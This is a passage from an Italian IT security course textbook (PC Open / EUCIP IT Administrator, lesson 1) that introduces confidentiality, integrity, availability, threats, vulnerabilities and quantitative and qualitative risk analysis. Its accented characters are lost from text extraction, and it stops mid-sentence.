Sei sulla pagina 1di 251

www.pcopen.

it 2
ITAdministrator - Sicurezza informatica
L
a sicurezza delle informazioni unesigenza che ha ac-
compagnato la storia delluomo fin dalle antiche civilt.
Oggi ci preoccupiamo di mantenere riservate le infor-
mazioni personali, militari e daffari. Nel V secolo a.C. gli
spartani inviavano gli ordini ai capi militari tramite mes-
saggi scritti su una striscia di cuoio che, avvolta su un ba-
stone (lo scitale) di un diametro ben preciso, permetteva di
leggere il testo in chiaro lungo il bastone. Giulio Cesare ci-
frava i messaggi sostituendo ogni lettera con quella che nel-
lalfabeto segue di qualche posizione. La crittografia, cio
la scienza della scrittura segreta, ha avuto una progressiva
evoluzione nel corso dei secoli, fino ai rapidi sviluppi teo-
rici e tecnologici impressi dalla seconda guerra mondiale,
che permisero la decifrazione dei codici giapponesi e te-
deschi da parte degli alleati.
Oggi buona parte del pianeta vive nella societ del-
linformazione, basata cio sulluso delle informazioni co-
me parte integrante delle attivit umane. Pertanto, la sicu-
rezza delle informazioni diventata una componente della
sicurezza dei beni in generale, o security, e non si limita al-
le tecniche per nascondere il contenuto dei messaggi. Qua-
lunque programma che si occupi di preservare la sicurez-
za delle informazioni, persegue, in qualche misura, tre
obiettivi fondamentali: la disponibilit, lintegrit e la ri-
servatezza delle informazioni.
La disponibilit il grado in cui le informazioni e le ri-
sorse informatiche sono accessibili agli utenti che ne han-
no diritto, nel momento in cui servono. Questo significa
che sistemi, reti e applicazioni hanno le capacit necessa-
rie a fornire il livello di servizio e le prestazioni richieste e
che, in caso di guasto o di eventi distruttivi, sono pronti gli
strumenti e le procedure per ripristinare lattivit in tempi
accettabili. Per impedire linaccessibilit delle informazio-
ni, si deve preservare la disponibilit delle condizioni am-
bientali (energia, temperatura, umidit, atmosfera, ecc.) e
delle risorse hardware e software a fronte sia di problemi
interni (guasti, errori, blackout, disastri e altro), sia di at-
tacchi esterni, per esempio provenienti da Internet, volti a
impedire o a ridurre laccessibilit ai sistemi e alle infor-
mazioni. Sistemi di backup locale e remoto, ridondanza del-
lhardware e degli archivi, firewall e router configurati per
neutralizzare attacchi DoS (denial of Service), sistemi di cli-
matizzazione, gruppi di continuit, controllo dellaccesso fi-
sico, monitoraggio delle prestazioni sono alcuni degli
strumenti che servono per mantenere la disponibilit.
Lintegrit il grado di correttezza, coerenza e affidabi-
lit delle informazioni e anche il grado di completezza, coe-
renza e condizioni di funzionamento delle risorse informa-
tiche. Per lhardware e i sistemi di comunicazione, linte-
grit consiste di fattori come elaborazione corretta dei da-
ti, livello adeguato di prestazioni e corretto instradamento
dei dati. Lintegrit del software riguarda fattori come la
completezza e coerenza dei moduli del sistema operativo
e delle applicazioni e la correttezza dei file critici di sistema
e di configurazione.
Per le informazioni, lintegrit viene meno quando i da-
ti sono alterati, cancellati o anche inventati, per errore o
per dolo, e quando si perde, per esempio in un database, la
Inizia il primo corso di taglio professionale destinato al
conseguimento di una certificazione ufficiale, riconosciuta
in tutta Europa. La certificazione fa parte di un nuovo filone
denominato EUCIP (European Certification of Informatics
Professionals) e si chiama IT Administrator Sicurezza
Informatica. Il corso si articola
in tre elementi: un articolo sulla
rivista, un articolo, molto pi
esteso in formato PDF e un corso
multimediale completo
su CD e DVD di Giorgio Gobbi
Introduzione alla sicurezza delle informazioni
Diventate esperti di
sicurezza con PC Open
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare i programmi
e le utility pi comuni destinati a tali scopi.
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: Crittografia
Lezione 3: Autenticazione e controllo
degli accessi
Lezione 4: Disponibilit
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.1.1 Concetti di
base
5.1.1.1 sapere quali
sono i principali
aspetti della
sicurezza delle
informazioni:
riservatezza e
integrit
(la numerazione dei
punti di riferimento al
Syllabus comincia
con 5 perch si
riferisce al quinto
modulo della
certificazione IT
Administrator
complessiva. Il quinto
modulo riguarda la
sicurezza informatica)
In collaborazione
con:
www.pcopen.it 3
Lezione 1 IT Administrator - Sicurezza informatica
coerenza tra dati in relazione tra loro (per esempio i record
coinvolti in una transazione).
Procedure di manutenzione e diagnosi preventiva,
hardware e software per la rilevazione e prevenzione di ac-
cessi illeciti, attacchi virali e intrusioni, applicazioni che mi-
nimizzano errori logici e formali di data entry, accesso ri-
stretto alle risorse critiche e controllo degli accessi sono al-
cuni degli strumenti utili a preservare lintegrit delle
informazioni e delle risorse.
Anche le tecniche di hashing (calcolo di un numero di
lunghezza fissa a partire da un qualsiasi messaggio o do-
cumento) sono usate per verificare che le informazioni non
vengano alterate per dolo o per errore (anche di trasmis-
sione).
La riservatezza consiste nel limitare laccesso alle infor-
mazioni e alle risorse informatiche alle sole persone auto-
rizzate e si applica sia allarchiviazione sia alla comunica-
zione delle informazioni. Uninformazione composta ge-
neralmente di pi dati in relazione tra di loro, ciascuno dei
quali non necessariamente costituisce uninformazione. Il
nome e il numero di conto corrente di una persona, sepa-
rati, non sono informazioni; la combinazione dei due da-
ti che costituisce linformazione.
La riservatezza dellinformazione pu essere quindi ga-
rantita sia nascondendo lintera informazione (per esempio
con tecniche di crittografia) sia nascondendo la relazione
tra i dati che la compongono. La riservatezza non dipende
solo da strumenti hardware e software; il fattore umano gio-
ca un ruolo chiave quando vengono ignorate le elementari
regole di comportamento: tenere le password segrete, con-
trollare gli accessi a reti e sistemi, rifiutare informazioni a
sconosciuti (anche quando affermano di essere tecnici del-
la manutenzione), cifrare i documenti e i messaggi riserva-
ti e cos via.
Possiamo aggiungere altri due obiettivi di sicurezza che
possono essere considerati unestensione dellintegrit
delle informazioni, applicata a eventi pi complessi come
linvio di un messaggio o una transazione. Lautenticit ga-
rantisce che eventi, documenti e messaggi vengano attri-
buiti con certezza al legittimo autore e a nessun altro. Il non
ripudio impedisce che un evento o documento possa es-
sere disconosciuto dal suo autore. Queste due caratteri-
stiche trovano applicazione nella firma digitale, che utiliz-
za tecniche di hashing e crittografia per garantire che un
documento resti integro e provenga da un autore univoca-
mente identificato.
Gestione del rischio
Per esaminare i rischi connessi ai vari aspetti di sicu-
rezza delle informazioni, iniziamo introducendo i termini
del discorso: beni da difendere, obiettivi di sicurezza, mi-
nacce alla sicurezza, vulnerabilit dei sistemi informatici e
impatto causato dallattuazione delle minacce.
Beni
Un bene qualsiasi cosa, materiale o immateriale, che
abbia un valore e debba quindi essere protetta. Nel campo
della sicurezza delle informazioni, tra i beni di unazienda
ci sono le risorse informatiche, il personale (utenti, ammi-
nistratori, addetti alla manutenzione), le informazioni, la
documentazione e limmagine aziendale. Per un individuo,
i beni comprendono non solo risorse informatiche, infor-
mazioni e mezzi di comunicazione, ma anche le informa-
zioni personali e la privacy.
Per esempio, se un attacco via Internet causa a una-
zienda il furto di informazioni riservate, magari relative al-
le carte di credito dei clienti, i beni colpiti sono molteplici:
le informazioni, limmagine, la reputazione, la stessa conti-
nuit operativa. Un altro esempio il defacing, ovvero lal-
terazione di un sito web per rovinare limmagine del pro-
prietario; una forma di vandalismo che colpisce sia le
informazioni sia limmagine dellazienda o persona titolare.
A livello personale, la privacy degli individui minac-
ciata da pi parti: aziende che non proteggono adeguata-
mente le informazioni in loro possesso, applicazioni che
trasmettono via Internet dati personali, software maligno
che spia le abitudini degli utenti (acquisti, navigazione In-
ternet ecc.) o che altera la navigazione Internet a scopo di
truffa o furto di informazioni.
I beni possono essere distinti in beni primari, quelli che
hanno valore effettivo, e beni secondari, che servono per
proteggere i beni primari. Un esempio di bene secondario
la password che permette di accedere a un computer, a
una rete, ai dati archiviati e a Internet. La password in s
non ha alcun valore, ma uninformazione che permette a
un altro utente o a un estraneo di accedere ai beni primari
(sistemi, periferiche, reti, archivi) e di eseguire operazioni
a nome dellutente titolare della password, che ne sar ri-
tenuto responsabile. La password, bene secondario, assu-
me unimportanza paragonabile a quella degli archivi e del-
le attrezzature hardware/software, bene primario a cui la
password d accesso. Lo stesso vale per i dispositivi di
identificazione e autenticazione, come le Smart Card. Se la
scheda viene utilizzata da qualcuno che si procurato il
corrispondente PIN (Personal Identification Number), il ti-
tolare della scheda sar ritenuto responsabile dellutilizzo
fino alla denuncia di furto o smarrimento.
Altri esempi di beni secondari sono le attrezzature che
permettono allhardware di funzionare con continuit e si-
curezza: gruppi di continuit, condizionatori, alimentatori
e altri componenti ridondanti e cos via. I beni secondari, in
quanto investimento preventivo per mantenere alta la di-
sponibilit dei servizi informatici, rappresentano un costo
ampiamente inferiore rispetto al rimedio a situazioni non
previste.
Obiettivi
Gli obiettivi di sicurezza sono il grado di protezione che
si intende predisporre per i beni, in termini di disponibilit,
integrit e riservatezza. Per definire gli obiettivi, si classifi-
cano i beni in categorie e si assegnano i criteri di sicurezza
da applicare. Ci sono beni, come le password e i numeri di
identificazione, che hanno pi requisiti di riservatezza che
IT Administrator comprende sei moduli:
1 Hardware del PC (PC Hardware)
2 Sistemi operativi (Operating Systems)
3 Reti locali e servizi di rete (LAN and Network
Services)
4 Uso esperto delle reti (Network Expert Use)
5 Sicurezza informatica (IT Security)
6 Progettazione reti (Network Design)
Largomento di questo corso il modulo 5 della
certificazione EUCIP IT Administrator, dedicato
espressamente alla sicurezza informatica. Il modulo
5 garantisce comunque il diritto a una certificazione
a s stante.
Alcuni beni da proteggere
- Hardware (sistemi e reti)
- Software
- Firmware
- Dati e informazioni
- Personale
- Documentazione
- Fondi
- Apparecchiature di controllo ambientale
- Immagine e reputazione aziendale
- Capacit operativa
5.1.2 Gestione del
rischio
5.1.2.1 conoscere i
principali elementi
coinvolti nella
valutazione del
rischio (valore
dellinformazione,
vulnerabilit,
minaccia, rischio,
impatto, violazione,
livello di rischio).
www.pcopen.it 4
ITAdministrator - Sicurezza informatica Lezione 1
non problemi di integrit e disponibilit. Al contrario, le
informazioni contabili di una banca che esegue transazio-
ni on line hanno requisiti di disponibilit, integrit e riser-
vatezza. Le informazioni pubblicate sul sito web di una-
zienda richiedono disponibilit e integrit (per esempio
per impedire il defacing), ma non certo riservatezza.
La selezione degli obiettivi in base al tipo di protezione
richiesto dai beni, permette un approccio concreto e sca-
labile in base alle priorit e alle risorse disponibili. In as-
senza di una mappa di ci che urgente e importante da
proteggere, si tende a improvvisare o a voler proteggere
tutto, salvo poi mancare anche gli obiettivi minimi quando
il costo preventivato supera di gran lunga le disponibilit.
Minacce
Una minaccia unazione potenziale, accidentale o deli-
berata, che pu portare alla violazione di uno o pi obiet-
tivi di sicurezza. Le minacce possono essere classificate se-
condo la loro origine: naturale, ambientale o umana. Per
esempio, un allagamento dovuto a forti piogge una mi-
naccia accidentale di origine naturale che ha un impatto
sulla sicurezza, visto che pu interrompere la disponibilit
dei servizi informatici. Un cavallo di Troia installato alla-
pertura di un allegato di posta elettronica infetto, una mi-
naccia deliberata di origine umana e coinvolge tutti gli
obiettivi di sicurezza: il computer pu cadere sotto il con-
trollo esterno e non essere pi completamente disponibile
per il suo proprietario (disponibilit), le sue informazioni
possono essere alterate e cancellate (integrit) e dati da
non divulgare (password, informazioni personali, informa-
zioni sensibili aziendali) possono essere letti da estranei
(riservatezza). Una rete wireless che opera senza prote-
zione (a partire dalla cifratura delle comunicazioni) pu es-
sere intercettata o, perlomeno, usata per laccesso a Inter-
net, magari per operazioni illegali riconducibili allindirizzo
IP (e quindi alla responsabilit) del titolare della rete. In
questo caso gli obiettivi violati coinvolgono la riservatezza,
la disponibilit e potenzialmente anche lintegrit.
Lentit che mette in atto la minaccia viene chiamata
agente. Esempi di agenti di minaccia sono un intruso che
entra in rete attraverso una porta del firewall, un processo
che accede ai dati violando le regole di sicurezza, un tor-
nado che spazza via il centro di calcolo o un utente che
inavvertitamente permette ad altri di vedere le password.
Vulnerabilit
Mentre una minaccia sempre portata da un agente
esterno (fenomeno naturale o intervento umano), una vul-
Esempi di minacce
( D = deliberata, A = accidentale, E = ambientale)
Minaccia D A E
----------------------------------------------------------------------------------------------------------------------
Terremoto x
Inondazione x x
Uragano x
Fulmine x
Bombardamento x x
Incendio x x
Uso di armi x x
Vandalismo x
Furto x
Blackout x
Linea elettrica instabile x x
Guasto climatizzatore x
Temperatura alta o bassa x x x
Umidit eccessiva x x x
Polvere x
Radiazioni elettromagnetiche x
Guasto hardware x
Uso improprio delle risorse x x
Errori software x x
Uso non autorizzato supporti
di memoria x
Deterioramento supporti di memoria x
Errori degli utenti x x
Errori del personale operativo x x
Errori di manutenzione x x
Accesso illegale alla rete x
Uso illegale di password x
Uso illegale del software x
Indirizzamento illecito messaggi x
Software dannoso x x
Installazione/copia illegale
di software x
Interruzione servizio
provider Internet x
Interruzione servizio hosting web x
Errori di trasmissione x
Traffico eccessivo x x
Intercettazione in rete x
Infiltrazione in rete x
Analisi illecita del traffico x
Carenze di personale x
Esempi di vulnerabilit
Infrastruttura
Mancanza di protezione fisica
Mancanza di controllo degli accessi
Linea elettrica instabile
Locali soggetti ad allagamento
Hardware e impianti
Mancanza di sistemi di backup
Suscettibilit a variazioni di tensione
Suscettibilit a variazioni di temperatura
Suscettibilit a radiazioni elettromagnetiche
Programma di manutenzione insufficiente
Comunicazioni
Linee di comunicazione non protette
Uso di password in chiaro
Traffico wireless non cifrato
Presenza di linee dial-up
Libero accesso ai dispositivi di rete
Documentazione
Locali non protetti
Carenza di precauzioni nelleliminazione
Assenza di controllo nella duplicazione
Software
Complessit interfaccia applicazioni
Mancanza autenticazione utente
Mancanza logging accessi
Errori software noti
Password non protette
Cattiva gestione password
Diritti di accesso scorretti
Uso del software incontrollato
Sessioni aperte senza presenza utente
Assenza di backup
Carenza nella dismissione dei supporti
Personale
Personale insufficiente
Procedure reclutamento inadeguate
Personale esterno incontrollato
Addestramento di sicurezza inadeguato
Uso improprio o scorretto hardware/software
Carenza di monitoraggio
www.pcopen.it 5
Lezione 1 IT Administrator - Sicurezza informatica
nerabilit un punto debole del sistema informatico
(hardware, software e procedure) che, se colpito o sfrutta-
to da una minaccia, porta alla violazione di qualche obiet-
tivo di sicurezza. Una vulnerabilit presenta due caratteri-
stiche: un aspetto intrinseco del sistema informatico ed
esiste indipendentemente da fattori esterni. Una vulnera-
bilit, di per s, non causa automaticamente una perdita di
sicurezza; la combinazione tra vulnerabilit e minaccia
che determina la probabilit che vengano violati gli obiet-
tivi di sicurezza. Un centro di calcolo situato nel seminter-
rato di un centro urbano ha le stesse vulnerabilit in una
zona poco soggetta a terremoti come in una zona sismica.
Quello che cambia la probabilit che si attui la minaccia
terremoto, a scapito della disponibilit dellimpianto.
Un computer dedicato alla contabilit di un negozio, non
protetto da firewall e antivirus e privo delle patch di sicu-
rezza del sistema operativo, assai vulnerabile, ma se te-
nuto al sicuro, viene usato solo dal titolare e non colle-
gato a Internet, pu funzionare a lungo senza essere colpi-
to dalle minacce pi comuni.
Impatto
Limpatto la conseguenza dellattuazione di una mi-
naccia. Esso dipende dal valore del bene colpito e dagli
obiettivi di sicurezza violati. Per una piccola azienda, se la
minaccia guasto dellhard disk colpisce la vulnerabilit
backup poco frequenti, limpatto serio, perch pu in-
cludere il blocco temporaneo dellattivit e inconvenienti
nei rapporti con i clienti. Gli obiettivi di sicurezza violati so-
no la disponibilit ed eventualmente lintegrit delle infor-
mazioni. Se un dirigente in viaggio connette il portatile a In-
ternet senza protezione (programmi firewall e antivirus),
apre une-mail infetta e di ritorno propaga linfezione alla re-
te aziendale, limpatto pu essere grave e coinvolgere tut-
ti gli obiettivi di sicurezza (disponibilit, integrit e riser-
vatezza). In questo esempio lagente della minaccia lu-
tente, le vulnerabilit sono la cattiva configurazione del
portatile e le falle di sicurezza di Windows e la minaccia sta
nelle cattive abitudini e incompetenza dellutente. Lim-
patto pu includere il blocco temporaneo della rete e dei
computer e unattivit generalizzata di disinfestazione con
possibile perdita di dati e reinstallazione di software; anche
parte dei backup potrebbe essere compromessa.
Rischio
Concettualmente, il rischio la possibilit che si verifi-
chi un evento dannoso ed tanto maggiore quanto forte
limpatto causato dallevento e quanto alta la probabilit
che esso si verifichi. In una zona statisticamente non sog-
getta ad alluvioni, il rischio informatico connesso a questo
tipo di eventi trascurabile, anche se limpatto potenziale
ingente. In una rete aziendale soggetta a tentativi di in-
trusione, a parit di protezione, la sottorete delle finanze
corre un rischio maggiore rispetto alla sottorete ammin-
strativa, perch a parit di probabilit di attacco, limpatto
dellattacco pi grave.
In termini numerici, il rischio R pu essere definito come
il prodotto scalare tra la gravit G dellimpatto (conse-
guenze di un evento dannoso) e la probabilit P che si ve-
rifichi levento dannoso (la minaccia).
Le fasi della gestione del rischio
Nella gestione del rischio si possono individuare due fa-
si distinte.
1) Analisi del rischio. In questa fase si classificano le infor-
mazioni e le risorse soggette a minacce e vulnerabilit e
si identifica il livello di rischio associato a ogni minaccia.
Ci sono vari metodi per quantificare il rischio, basati su
un approccio quantitativo, qualitativo o combinazione
dei due. Lapproccio quantitativo basato su dati empi-
rici e statistiche, mentre quello qualitativo si affida a va-
lutazioni intuitive. Entrambi hanno vantaggi e svantaggi.
Il primo richiede calcoli pi complessi ma pu basarsi su
sistemi di misura indipendenti e oggettivi, fornisce ri-
sultati numerici (il valore delle perdite potenziali) e una-
nalisi dei costi e benefici. Il secondo utilizza lopinione
del personale che ha esperienza diretta in ciascuna del-
le aree interessate.
2) Controllo del rischio. In questa fase vengono indivi-
duate le modalit che lazienda intende adottare per ri-
durre i rischi associati alla perdita della disponibilit di
informazioni e risorse informatiche e della integrit e ri-
servatezza di dati e informazioni. Ogni tipo di minaccia
deve essere trattata separatamente e la pianificazione
delle contromisure richiede unanalisi di costi e benefi-
ci che ottimizzi il valore della protezione. Se, per esem-
pio, il rischio per lintrusione in un server web stima-
to di 12.000 euro in un anno e con una spesa annua di
1.000 euro esso scende a 3.000 euro, possiamo calcolare
il valore della protezione in 12.000 (rischio iniziale)
3.000 (rischio dopo lallestimento delle contromisure)
1.000 (costo annuale delle contromisure) = 8.000 euro.
Analisi del rischio
Lanalisi del rischio un processo composto di una se-
quenza di fasi, che inizia con la classificazione dei beni
(informazioni e risorse informatiche), prosegue con liden-
tificazione delle minacce e delle vulnerabilit e si conclude
con lidentificazione del livello di rischio.
1) Classificazione delle informazioni e delle risorse infor-
matiche. Questa fase ha lo scopo di censire e classifica-
re le informazioni gestite dal sistema informativo azien-
dale (attraverso sistemi informatici e altri mezzi) e le ri-
sorse informatiche utilizzate. Il risultato la documenta-
zione delle informazioni che hanno valore per lazienda,
in modo che nelle fasi successive si possa valutare il ri-
schio a fronte della perdita di disponibilit, integrit e ri-
servatezza di ogni categoria di informazioni. Visto che le
informazioni sono aggregazioni di dati che, singolarmen-
te, potrebbero essere (o apparire) privi di valore, si dovr
tenere conto delle relazioni tra dati e informazioni.
La sicurezza delle informazioni strettamente legata al-
la disponibilit delle risorse informatiche, quindi, in questa
fase, vengono documentati anche i sistemi, le attrezzature
di rete, la capacit di elaborazione, la capacit dei canali di
comunicazione, i processi vitali e altre risorse necessarie
per gli obiettivi di sicurezza delle informazioni.
2) Identificazione delle minacce. Una minaccia unazio-
ne potenziale, accidentale o deliberata, che pu portare
alla violazione di uno o pi obiettivi di sicurezza e quin-
di causare un danno allazienda. In questa fase si compila
lelenco delle minacce, avendo cura di includere gli even-
ti di origine naturale, gli eventi accidentali (guasti
hardware, errori software, errori umani ecc.) e le azioni
umane deliberate (sia interne, sia esterne). Le minacce
a cui soggetta unorganizzazione hanno aspetti generali
e aspetti specifici riguardanti il campo di attivit, il mo-
dello di business, le caratteristiche del sistema informa-
tivo e del sistema informatico, la dislocazione e le co-
municazioni dellorganizzazione. Esempi di minacce ge-
nerali sono quelle ambientali che possono impedire il
funzionamento delle attrezzature informatiche (alimen-
tazione elettrica, temperatura ecc.), i guasti hardware
(hard disk, supporti di backup, alimentatori, ventole
ecc.), gli errori software, la cancellazione accidentale di
dati, gli errori degli utenti, i virus e altro malware (worm,
trojan, spyware, ecc.), i tentativi di intrusione da Inter-
net, lesecuzione di software insicuro, la sottrazione e/o
la divulgazione di informazioni e software e via dicendo.
Minacce pi specifiche sopratutto per le aziende che
eseguono transazioni economiche on line (banche, siti di e-
commerce, broker ecc.) sono ad esempio le azioni di social
engineering (fingersi altre persone, come pubblici ufficiali
o addetti allassistenza) per procurarsi password e altre
informazioni utili per avere accesso alle informazioni.
Lanalisi del
rischio
in tre formule
R = G x P
Il rischio R pu essere
definito come il prodotto
scalare fra la gravit G
dellimpatto
(conseguenze di un
evento dannoso) e la
probabilit P che si
verifiche levento
dannoso.
P = f(V, M)
per minacce di tipo
deliberato
Per una minaccia di tipo
deliberato, la probabilit
P che la minaccia si
verifichi una funzione
delle vulnerabilit V
presenti nel sistema
(hardware, software e
procedure) e delle
motivazioni M
dellagente attaccante.
P = f(V, p)
per minacce di tipo
accidentale e ambientale
Per una minaccia di tipo
accidentale e
ambientale, la
probabilit P che essa si
verifichi una funzione
delle vulnerabilit V del
sistema e della
probabilit p che i
rilevamenti statistici
permettono di associare
allevento in questione
(per esempio la
probabilit di cancellare
per errore un file
importante o la
probabilit che un
blackout prolungato
causi uninterruzione del
servizio).
www.pcopen.it 6
ITAdministrator - Sicurezza informatica Lezione 1
Identificazione delle vulnerabilit. Le vulnerabilit so-
no tutti quei punti deboli del sistema informativo tali che, se
sfruttate dallattuarsi di una minaccia, permettono la viola-
zione degli obiettivi di disponibilit, integrit e riservatezza
delle informazioni. In precedenza abbiamo mostrato esem-
pi di vulnerabilit in diverse categorie. Per esempio, las-
senza di un gruppo di continuit e lintolleranza di alte tem-
perature ambiente rientrano nella categoria impianti. La ca-
tegoria software include le falle di sicurezza e gli errori dei
sistemi operativi e delle applicazioni. La categoria hardwa-
re comprende computer, periferiche, accessori e dispositi-
vi di rete, tutti soggetti a guasti e malfunzionamenti. Las-
senza di regole e di strumenti adeguati per il backup degli
archivi fa parte delle vulnerabilit procedurali. Alla catego-
ria del personale competono carenze come linadeguata
preparazione e istruzione degli utenti, lutilizzo improprio di
Internet e delle risorse informatiche e la scarsa diligenza nel
custodire le password e altre informazioni riservate.
Come per le minacce, anche le vulnerabilit sono speci-
fiche per il tipo di azienda, il campo di attivit e lorganiz-
zazione interna. Inoltre, la stessa vulnerabilit pu avere di-
versi livelli di importanza secondo le caratteristiche del-
lazienda. La vulnerabilit di un particolare servizio di co-
municazione del sistema operativo pu essere considera-
ta irrilevante per unazienda manifatturiera tradizionale ma
allo stesso tempo grave per unazienda che progetta stru-
menti ad alta tecnologia per un mercato competitivo.
Identificazione del livello di rischio. Dopo aver censi-
to i beni da proteggere e quantificato il loro valore, e dopo
aver calcolato la probabilit di attuazione delle minacce (in
base alle vulnerabilit e agli agenti di attacco individuati),
possibile calcolare il rischio seguendo lapproccio quan-
titativo. A tale scopo si possono utilizzare fogli elettronici
o apposite applicazioni per automatizzare il calcolo del ri-
schio secondo i settori di attivit.
In alternativa, lapproccio qualitativo non quantifica i
danni e le probabilit, ma esamina le aree di rischio asse-
gnando, in base a intuizione, esperienza e giudizio, valori
relativi (per esempio da 1 a 5) alla gravit della minaccia, al-
la sua probabilit di attuazione e alla perdita potenziale per
lazienda. Anche le contromisure sono valutate con lo stes-
so criterio, in modo da selezionare quella che il personale
interessato ritiene pi adatta per fronteggiare la minaccia.
In tabella 1 consideriamo un piccolo esempio di analisi
quantitativa, ridotto a poche righe a scopo illustrativo.
In questo esempio sono indicate le previsioni di danno
(perdita economica) per un singolo evento (attuazione del-
la minaccia) e la probabilit stimata in base a statistiche di
frequenza o dati empirici. Nella realt, lattacco a un bene
materiale di valore limitato, come un server di rete, pu
causare un danno superiore per ordini di grandezza a beni
immateriali come limmagine, la reputazione e il credito
dellazienda. Inoltre, certi tipi di minacce, in assenza di ap-
propriate difese, possono attuarsi ripetutamente in un an-
no, come le perdite e alterazioni di dati per errori degli
utenti e/o del software applicativo. Va detto che unanalisi
del rischio puramente quantitativa pressoch impossibi-
le, vista la difficolt di assegnare valori precisi ai danni su-
biti dai beni e alle probabilit di attuazione delle minacce.
In ogni caso, lanalisi permette di identificare i beni da pro-
teggere, le fonti di danno e lentit del rischio; in base a que-
ste informazioni si potr definire una strategia per proteg-
gere i beni nel modo pi efficiente.
Vediamo ora un esempio di analisi qualitativa, basata sul
giudizio, lesperienza e lintuito delle persone che operano
nelle aree soggette a minacce. Ci sono diversi metodi per
raccogliere le informazioni per unanalisi qualitativa del ri-
schio. Il metodo Delphi, per esempio, si basa su decisioni
di gruppo per assicurare che ogni membro del gruppo di
valutazione possa esprimere onestamente il proprio pare-
re sulle minacce e sui rimedi pi efficaci. Ogni membro del
gruppo scrive le proprie valutazioni in modo anonimo, sen-
za pressioni o influenze da parte degli altri. I risultati ven-
gono compilati e distribuiti ai membri del gruppo, che scri-
vono i loro commenti, ancora anonimi. Il processo si ripe-
te finch non si forma un consenso su costi, perdite po-
tenziali, e probabilit di attuazione delle minacce, senza di-
scussioni verbali.
Altri metodi qualitativi fanno uso di brainstorming, fo-
cus group, sondaggi, questionari, liste di verifica, intervi-
ste, incontri individuali e altro ancora.
Nella tabella 2 vediamo un piccolo esempio semplifica-
to di analisi qualitativa applicata alla minaccia di intrusio-
ne da Internet.
In questo esempio gli addetti allanalisi del rischio han-
no distribuito una descrizione della minaccia (intrusione
da Internet) a cinque persone con diverse mansioni nella-
rea IT, con la richiesta di valutare, da 1 a 5, la gravit della
minaccia, la probabilit che accada, la perdita conseguen-
te e lefficacia di alcune possibili misure di protezione. La
valutazione quindi sottoposta al management, che vedr
qual il punto di vista del personale interessato sulla gra-
vit delle minacce e sui modi di proteggersi.
Il controllo del rischio e le contromisure
Consideriamo lanalisi del rischio secondo lapproccio
quantitativo; il documento finale elenca in modo dettaglia-
to i beni con i relativi valori monetari, le vulnerabilit, le mi-
nacce con relativa probabilit di attuazione e le perdite po-
tenziali (per esempio su base annua). La fase successiva,
Tabella 2 - Analisi del rischio qualitativa
Minaccia intrusione Gravit della Probabilit Perdita Efficacia Efficacia Efficacia firewall
da Internet minaccia di attuazione potenziale firewall firewall con IPS pi IDS
IT manager 4 2 4 3 5 4
Amministratore database 5 4 5 3 4 3
Programmatore 3 3 3 4 4 4
Operatore 2 4 3 3 4 3
Manager 5 4 4 4 5 5
Media 3,8 3,4 3,8 3,4 4,4 3.8
Tabella 1 - Analisi del rischio quantitativa
Bene Minaccia Valore del bene Aspettativa di Probabilit Aspettativa di
perdita singola annua perdita annua
Locali Incendio 300.000 200.000 0,1 20.000
Progetti Furto 100.000 80.000 0,5 40.000
Server Guasto 8.000 6.000 0,3 1.800
Dati Virus e simili 40.000 30.000 0,5 7.500
Dati Errori utente 40.000 20.000 0,5 10.000
Rete Guasto 6.000 2.000 0,75 1.500
5.1.2 Gestione del
rischio
5.1.2.2 conoscere la
classificazione pi
comune dei mezzi
tecnici per controllare
il rischio
(identificazione e
autenticazione),
controllo degli
accessi,
rendicontabilit
(accountability),
verifica (audit),
riutilizzo degli oggetti,
accuratezza,
affidabilit del
servizio, scambio dati
sicuro).
www.pcopen.it 7
Lezione 1 IT Administrator - Sicurezza informatica
controllo del rischio, ha lo scopo di eliminare i rischi, o per-
lomeno di ridurli entro limiti accettabili. Parte dei rischi
pu essere ceduta a terzi, per esempio attraverso polizze di
assicurazione (per cautelarsi da eventi come furto, incen-
dio e disastri naturali). Anche loutsourcing, cio la delega
a terzi di servizi che potrebbero essere svolti da persona-
le interno, pu essere utile a ridurre vari tipi di rischio, tra
cui il mancato ritorno dagli investimenti in addestramento
specialistico del personale. Anche la gestione dello stora-
ge, ovvero gli archivi e i backup, pu essere affidata a terzi
appositamente strutturati per garantire alti livelli di sicu-
rezza (disponibilit, integrit e riservatezza delle informa-
zioni). Lhosting dei siti web un esempio di outsourcing
conveniente alle piccole aziende, solitamente prive di im-
pianti e personale per amministrare hardware, software e
sicurezza dei siti.
Tolta la cessione a terzi di parte dei rischi, consideriamo
la parte di gestione del rischio che avviene allinterno del-
lazienda. Il controllo del rischio viene esercitato attraver-
so opportune contromisure che agiscano sulle due com-
ponenti del rischio: la gravit dellimpatto e la probabilit
di attuazione della minaccia. Abbiamo visto che le minac-
ce coprono un ampio spettro di fenomeni e attivit; ognu-
na dovr essere quindi trattata separatamente sia nel va-
lutare limpatto e la probabilit, sia nel selezionare le con-
tromisure che risultano pi efficaci nellanalisi di costo e
benefici.
Contromisure
Le contromisure di sicurezza sono le realizzazioni e le
azioni volte ad annullare o limitare le vulnerabilit e a con-
trastare le minacce. Una parte delle contromisure viene so-
litamente realizzata nel corso della progettazione di un si-
stema o di un prodotto. Le altre contromisure vengono
adottate in fase di utilizzo del sistema o prodotto.
La scelta delle contromisure da mettere in campo det-
tata dallanalisi del rischio e dallanalisi costo/benefici del-
le contromisure. Considerato un bene, il suo valore e il dan-
no potenziale in base alle vulnerabilit e alle probabilit di
attuazione di una minaccia, leffetto di una contromisura si
misura con la riduzione del rischio. Se la riduzione del ri-
